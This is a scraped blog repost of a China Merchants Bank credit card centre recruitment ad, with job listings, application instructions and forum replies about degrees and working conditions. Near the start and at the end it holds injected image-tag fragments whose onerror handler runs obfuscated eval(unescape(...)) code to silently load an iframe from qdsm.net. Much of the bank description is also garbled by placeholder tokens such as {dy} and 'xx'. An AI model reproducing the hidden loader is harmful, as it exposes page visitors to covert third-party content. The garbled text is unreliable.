招行信用卡中心招聘广告(摘自sohu) - 白金卡- graduations - 和讯博客
招行信用卡中心招聘广告(摘自sohu) [转贴 2010-06-28 10:11:36]   
招行信用卡中心招聘广告(摘自sohu)

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_250_250.html%20width%3D250%20height%3D250%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

☆ 招商银行简介
  招商银行成立于1987年4月8日,总行设在深圳,是我国{dy}家xx由企业法人持股的股份制商业银行。建行以来,先后进行了三次增资扩股,并于2007年3月成功地发行了15亿普通股,4月9日在上交所挂牌(600036),目前是国内总股本和流通盘{zd0}的上市银行之一,也是国内采用国际会计标准上市的公司之一。总资产逾3000亿元,在英国《银行家》杂志“世界1000家大银行”排名中居前300位之列。现已在全国30个大中城市设立了分(支)行,拥有300多个营业网点,并已获得香港金融监管局颁发的香港分行牌照。初步形成了立足深圳、辐射全国、面向海外的全国性商业银行机构体系和业务网络。
  招商银行坚持“科技兴行”的发展战略和“因您而变”的经营服务理念,立足于市场和客户需求,充分发挥拥有全行统一的电子化平台的巨大优势,率先开发了一系列高技术含量的金融产品与金融服务,打造了“一卡通”、“一网通”等知名金融品牌,在革新金融产品与服务方面创造了数十个{dy},较好地适应了市场和客户不断变化的需求,被广大客户称赞为国内服务{zh0}、技术{zh0}的银行之一。同时,招商银行以其良好的经营业绩,近年来连续被《银行家》、《环球金融》、《欧洲货币》以及《亚洲金融》等国际xx金融杂志授予“世界25家{zj0}资本利润率银行”、“亚洲{zj0}股本回报率银行”、“中国本土{zj0}商业银行”等殊荣。   面对中国加入WTO带来的机遇与挑战,招商银行将以公开上市为起点,以“力创股市蓝筹、打造百年招银”为目标,以改革创新为动力,坚持走技术{lx1}型的发展道路,加快实施国际化战略,全面提升管理素质,进一步与国际规范接轨,不断增强核心竞争力,努力创造更好的经营业绩,实现股东长期利益的{zd0}化。
☆ 信用卡中心简介
  招商银行信用卡中心是总行直属机构,总部设在上海市。现因业务发展需要,诚聘以下人才。我们诚挚地欢迎有志于金融改革创新、勇于接受挑战、德才兼备的各类经营管理人才加入我们的行列,为铸造中国民族银行业的精品而共同奋斗。

招聘职位(下列招聘岗位除特别注明外,工作地点均在上海市)

☆ 统一要求:
 1.有较强的事业心和艰苦创业精神;
 2.遵纪守法、品行端正、身体健康;
 3.有较强的沟通能力和团队合作精神。

风险管理部
1.征信人员
工作内容:
执行信用卡申请案件的征信审核,征信业务管理等
要求:
 1.大专学历,性别不限;
 2.年龄20—25为佳;
 3.具有个人金融产品或信用卡经验及精通粤语者优先。

2.授信分析员
工作内容:
协助制定各种产品的授信政策;
追踪及分析授信策略效果。
要求:
 1.大学本科以上学历,统计学或应用数学相关专业毕业;
 2.年龄35岁以下,2年以上工作经验;
 3.有信用卡授信或银行工作经验者优先。

客户服务部
1.客户服务专员
工作内容:
信用卡客户服务、服务品质满意度调查、电脑系统作业规划等。
要求:
 1.大专以上学历,性别不限;
 2.年龄20—25为佳;
 3.具有个人金融产品(尤其是信用卡业务)客户服务相关经验或精通粤语者优先。

2.品质确保规划人员一
工作内容:
客户整体满意度调查、内部接点调查与训练规划、流程管理机制分析与指标制订、品质项目成效追踪等。
要求:
 1.大学本科学历,经济、市场营销或管理类相关专业毕业;
 2.年龄30岁以下,.市场策划及市场调查相关经验2年以上,有金融等服务业工作经验者优先;

3.品质确保规划人员二
工作内容:
辅助ISO业务专案的进行、ISO相关培训规划与举办、服务品质提升改善管理规划等。
要求:
 1. 大学本科学历,经济、市场营销或管理类相关专业毕业;
 2. 年龄30岁以下,2年以上质量管理经验。有相关证书(如ISO9000,TL9000,TS16949或QS9000等)者优先。

4.网络业务规划人员
工作内容:
网络业务规划与管理、经营策略拟定、专案规划、网络业务推广与开发。
要求:
 1.大学本科学历,计算机相关专业毕业;
 2.年龄30岁以下,2年以上网站策划等相关经验。

行销推广部
1.业务销售代表(长期招聘,信用卡中心提供丰厚的底薪报酬及完善的培训机会)
工作内容:
从事招商银行信用卡销售工作。乐于接受挑战,立志成为行销明星。
要求:
 1.大专以上学历,性别不限;
 2.1年以上销售经验;
 3.年龄20—25为佳;
 4.具有保险、个人金融产品或信用卡销售经验2年以上者,可适当放宽招聘条件。

2.行销规划人员
工作内容:
年度促销活动方案规划
预订中心建置
分行促销活动方案规划执行与协调
促销活动方案预算控管执行
要求:
 1.本科以上学历,专业不限;
 2.3年以上银行消费活动或收单业务经验;

作业部
1.制卡作业人员
工作内容:
完善xx组业务制度,协助实现制卡的个人化功能,协助xx组工作的的正常运行等
要求:
 1.大专学历,计算机、机械或工业自动化专业毕业;
 2.年龄25岁以下,有制卡相关经验者优先。

行政管理部
1.财务人员
工作内容:
信用卡中心的帐务和税务处理。
要求:
 a)大学本科以上学历,财务相关专业毕业;
 b)3年以上财务工作经验,有银行或信用卡相关工作经验者优先。

2.总务人员
工作内容:
工程维护、物业和保洁管理等。
要求:
 1.大专以上学历,理工科专业毕业;
 2.3年以上物业管理或工程协调管理工作经验。

信息技术部
本部门统一要求:
 1、大学本科以上学历,计算机相关专业毕业;
 2、年龄在35岁以下,有银行(尤其是信用卡)工作经验者优先;

1.OS/390或MVS系统管理和安全管理人员(工作地点:深圳)
要求:三年以上工作经验,具有OS/390、MVS、CICS、RACF管理工作经验;

2.OS/390或MVS应用编程人员(工作地点:深圳)
要求:三年以上工作经验,具有两年以上CICS、COBOL编程工作经验;

3.Tandem系统管理人员(工作地点:深圳)
要求:三年以上工作经验,具有Tandem系统管理工作经验;

4.Tandem 应用编程人员(工作地点:深圳)
要求:三年以上工作经验,一年以上Tandem编程工作经验;

5.NT系统工程师及SQL数据库管理员
要求:三年以上工作经验,两年以上NT或SQL管理工作经验,通过MCSA、MCDBA认证者优先;

6.网络管理员
要求:三年以上工作经验,两年以上网络管理工作经验,熟悉LAN和WAN,通过CCNP认证者优先;

7.PBX管理员1名
要求:三年以上工作经验,有PBX管理经验;

应聘者请将以下材料:
1.个人简历(请注明户口所在地,联系地址、邮编及联系电话)
2.近期生活照片一张
3.身份证复印件
寄:上海市浦东新区源深路92号24楼人事室(200720)
请在信封左下角注明“来自SOHU”和应聘岗位。
经审查符合条件者,将另行通知考核办法。未被录用人员的材料代为保密,恕不退还。
谢绝来电来访
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QUOTE:cosine 于 2007-3-20 11:32 写道:
☆ 招商银行简介
  招商银行成立于1987年4月8日,总行设在深圳,是我国{dy}家xx由企业法人持股的股份制商业银行。建行以来,先后进行了三次增资扩股,并于2007年3月成功地发行了15亿普通股,4月9日在上交所 ... 哈哈,看来招行招人时的要求倒一点也不高啊。特别是信控部门的人。
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QUOTE:蓝色水晶AIA 于 2007-3-20 11:40 AM 写道:
哈哈,看来招行招人时的要求倒一点也不高啊。特别是信控部门的人。 是啊,看起来要求是不算高。但听说800的MM都是本科学历的。不知道是不是真的。
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QUOTE:cosine 于 2007-3-20 11:42 写道:
是啊,看起来要求是不算高。但听说800的MM都是本科学历的。不知道是不是真的。 我始终这样认为。曾经与复旦、交大、北大等一些中国{dj1}院校的学子们交流,觉得不过是泛泛之辈而已。最关键的,还是要看实际能力,以及这种能力是不是发挥在了适合他们的领域内。
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QUOTE:蓝色水晶AIA 于 2007-3-20 14:11 写道:
我始终这样认为。曾经与复旦、交大、北大等一些中国{dj1}院校的学子们交流,觉得不过是泛泛之辈而已。最关键的,还是要看实际能力,以及这种能力是不是发挥在了适合他们的领域内。 学历不能代表全部.
学历不是{wn}的,没有学历是万万不能的.
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QUOTE:ThornBird 于 2007-3-20 14:18 写道:
学历不能代表全部.
学历不是{wn}的,没有学历是万万不能的.
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QUOTE:ThornBird 于 2007-3-20 02:18 PM 写道:
学历不能代表全部.
学历不是{wn}的,没有学历是万万不能的. 严重同意!
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招行800的MM都是被骗上贼船的,那里简直人间炼狱哦,xx不是人性化的地方啦~~建议大家选择时小心谨慎了
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QUOTE:daisykoo 于 2007-3-20 05:30 PM 写道:
招行800的MM都是被骗上贼船的,那里简直人间炼狱哦,xx不是人性化的地方啦~~建议大家选择时小心谨慎了 首先声明一下:把广告转贴在这里绝不是为了帮招行招人,俺考拉也没胃口管这闲事(俺吃树叶还忙不过来呢,管这个?)。无非是想让大家通过广告了解一下招行对人员的要求,并从这些要求上了解一些招行的东西。比如从招的技术人员就可以知道招行使用系统的大致类型等等。

至于那些MM在招行里干得开不开心,工作环境是不是人性化,那是MM们和招行之间的事,与我们这些持卡人无关。最多也只是招行所在地劳动部门的事。

只要800里的声音依旧甜美,服务依旧专业而到位,那就够了…………………
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QUOTE:cosine 于 2007-3-20 17:38 写道:
首先声明一下:把广告转贴在这里绝不是为了帮招行招人,俺考拉也没胃口管这闲事(俺吃树叶还忙不过来呢,管这个?)。无非是想让大家通过广告了解一下招行对人员的要求,并从这些要求上了解一些招行的东 ... 在客观上还是为招行的增员作了宣传啊。这一点不应该否认吧?*^-^*

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zw_728_90.html%20width%3D728%20height%3D90%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

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